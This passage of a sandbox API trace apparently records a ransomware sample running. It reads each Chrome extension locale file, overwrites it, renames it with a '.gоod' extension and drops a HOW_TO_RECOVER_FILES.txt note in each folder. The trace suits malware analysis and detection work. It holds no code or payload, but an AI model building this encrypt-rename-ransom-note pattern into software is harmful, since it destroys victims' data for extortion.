lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json", lpFilePart=0x0) returned 0x89 [0240.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0240.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0240.001] GetFileType (hFile=0x824) returned 0x1 [0240.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0240.001] GetFileType (hFile=0x824) returned 0x1 [0240.001] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x98 [0240.001] ReadFile (in: hFile=0x824, lpBuffer=0x3936a30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3936a30*, lpNumberOfBytesRead=0x209ebc98*=0x98, lpOverlapped=0x0) returned 1 [0240.002] CloseHandle (hObject=0x824) returned 1 [0240.518] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json", lpFilePart=0x0) returned 0x89 [0240.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0240.518] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.519] GetFileType (hFile=0x860) returned 0x1 [0240.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0240.519] GetFileType (hFile=0x860) returned 0x1 [0240.519] WriteFile (in: hFile=0x860, lpBuffer=0x38eb5a0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x38eb5a0*, lpNumberOfBytesWritten=0x209ebba8*=0xa0, lpOverlapped=0x0) returned 1 [0240.520] CloseHandle (hObject=0x860) returned 1 [0240.520] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json", lpFilePart=0x0) returned 0x89 [0240.520] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0240.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0240.520] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe83f6d0b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe83f6cb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8b92484a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1 [0240.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0240.520] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\messages.json.gоod")) returned 1 [0240.521] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0240.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0240.521] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\eu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0240.521] GetFileType (hFile=0x860) returned 0x1 [0240.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0240.522] GetFileType (hFile=0x860) returned 0x1 [0240.522] WriteFile (in: hFile=0x860, lpBuffer=0x38eeed8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38eeed8*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0240.523] CloseHandle (hObject=0x860) returned 1 [0240.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0240.523] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa", lpFilePart=0x0) returned 0x7b [0240.523] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8407e91, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841900b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe841900b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0240.524] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8407e91, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841900b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe841900b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.524] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe841900b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841b6a2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.524] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.524] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0240.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0240.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0240.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0240.524] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa", lpFilePart=0x0) returned 0x7b [0240.524] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8407e91, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841900b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe841900b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0240.525] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8407e91, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841900b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe841900b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.525] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe841900b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841b6a2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.525] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe841900b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841b6a2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0240.525] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0240.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0240.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0240.525] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json", lpFilePart=0x0) returned 0x89 [0240.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0240.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38feea8 | out: lpFileInformation=0x38feea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe841900b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841b6a2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xff)) returned 1 [0240.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0240.526] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json", lpFilePart=0x0) returned 0x89 [0240.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0240.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.526] GetFileType (hFile=0x860) returned 0x1 [0240.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0240.526] GetFileType (hFile=0x860) returned 0x1 [0240.526] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xff [0240.526] ReadFile (in: hFile=0x860, lpBuffer=0x38ff360, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x38ff360*, lpNumberOfBytesRead=0x209ebc98*=0xff, lpOverlapped=0x0) returned 1 [0240.527] CloseHandle (hObject=0x860) returned 1 [0240.592] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json", lpFilePart=0x0) returned 0x89 [0240.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0240.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.593] GetFileType (hFile=0x860) returned 0x1 [0240.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0240.593] GetFileType (hFile=0x860) returned 0x1 [0240.593] WriteFile (in: hFile=0x860, lpBuffer=0x3790818*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3790818*, lpNumberOfBytesWritten=0x209ebba8*=0x100, lpOverlapped=0x0) returned 1 [0240.594] CloseHandle (hObject=0x860) returned 1 [0240.594] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json", lpFilePart=0x0) returned 0x89 [0240.594] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0240.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0240.594] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe841900b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe841b6a2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8b9e34ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0240.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0240.594] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\messages.json.gоod")) returned 1 [0240.595] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0240.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0240.595] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fa\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0240.595] GetFileType (hFile=0x860) returned 0x1 [0240.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0240.595] GetFileType (hFile=0x860) returned 0x1 [0240.596] WriteFile (in: hFile=0x860, lpBuffer=0x3794150*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3794150*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0240.597] CloseHandle (hObject=0x860) returned 1 [0240.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0240.597] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi", lpFilePart=0x0) returned 0x7b [0240.597] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe842c878, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84316cc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84316cc, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0240.597] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe842c878, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe84316cc, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe84316cc, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.598] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84316cc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8433d42, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0240.598] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, 